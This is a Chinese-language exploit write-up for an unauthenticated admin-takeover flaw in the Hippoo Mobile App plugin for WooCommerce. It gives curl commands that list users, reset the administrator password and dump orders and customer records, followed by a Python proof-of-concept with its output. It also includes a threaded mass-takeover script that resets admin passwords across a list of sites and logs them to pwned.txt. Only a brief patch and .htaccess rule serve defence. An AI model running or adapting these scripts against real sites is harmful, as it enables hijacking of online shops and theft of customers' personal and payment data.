| CVE | CVE-2026-10580 |
| 插件 | Hippoo Mobile App for WooCommerce |
| 版本 | ≤ 1.9.4 |
| CVSS | 9.8(严重) |
| 需要认证 | ❌ 否 |
| 管理员接管 | ✅ 是 |
| WooCommerce 数据 | ✅ 完全访问 |
函数 get_user_permissions() 对管理员返回 null(正确),但对未认证用户也返回 null(错误)。
has_role_access() 看到 null → 授予完全访问权限。
结果是:
/wp-json/wc-hippoo/v1/ext/*
→ 无需登录,无需 Cookie,无需 Nonce
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
-H "Content-Type: application/json" \
-d '{"password":"Pwned123!"}'
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"
#!/usr/bin/env python3
import requests
import sys
import json
def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
base = target.rstrip('/')
# Step 1 - Enumeration
users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
r = requests.get(users_url)
if r.status_code != 200:
print(f"[-] Not vulnerable: {target}")
return False
users = r.json()
print(f"[+] Found {len(users)} user(s)")
# Step 2 - Password reset
takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
r2 = requests.post(takeover_url, json={"password": new_password})
if r2.status_code == 200:
print(f"[✓] ADMIN TAKEOVER: {target}")
print(f" Login: {base}/wp-admin")
print(f" Password: {new_password}")
return True
else:
print(f"[-] Failed: {target}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} https://target.com")
sys.exit(1)
exploit(sys.argv[1])
python3 exploit.py https://poloss.ddev.site
输出:
[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
Login: https://poloss.ddev.site/wp-admin
Password: PwnedCVE2026!!
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
def takeover(target):
try:
r = requests.post(
f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
json={"password": "MassPwned2026!!"},
timeout=10
)
if r.status_code == 200:
print(f"[✓] TAKEOVER: {target}")
with open("pwned.txt", "a") as f:
f.write(f"{target} | admin | MassPwned2026!!\n")
except:
pass
with open("targets.txt") as f:
urls = [line.strip() for line in f if line.strip()]
with ThreadPoolExecutor(max_workers=20) as executor:
for url in urls:
executor.submit(takeover, url)
| 端点 | 数据 |
|---|---|
/wp-json/wc-hippoo/v1/ext/wp/v2/users | 所有 WP 用户 |
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1 | 管理员接管 |
/wp-json/wc-hippoo/v1/ext/wc/v3/orders | 完整订单 |
/wp-json/wc-hippoo/v1/ext/wc/v3/products | 产品 + 库存 |
/wp-json/wc-hippoo/v1/ext/wc/v3/customers | 客户个人身份信息 |
/wp-json/wc-hippoo/v1/ext/wc/v3/coupons | 折扣码 |
/wp-json/wc-hippoo/v1/ext/wc/v3/reports | 销售报告 |
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gateways | 支付配置 |
if (empty($user) || !$user->exists()) {
return false; // 不是 NULL
}
if ($perms === false) {
return false; // 未认证用户拒绝
}
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]
| 向量 | 值 |
|---|---|
| AV | 网络 |
| AC | 低 |
| PR | 无 |
| UI | 无 |
| S | 未改变 |
| C | 高 |
| I | 高 |
| A | 高 |
CVE-2026-10580 • 100% POC • 无需认证 • 完全管理员接管
#WordPress #WooCommerce #Poloss #W.P.E.F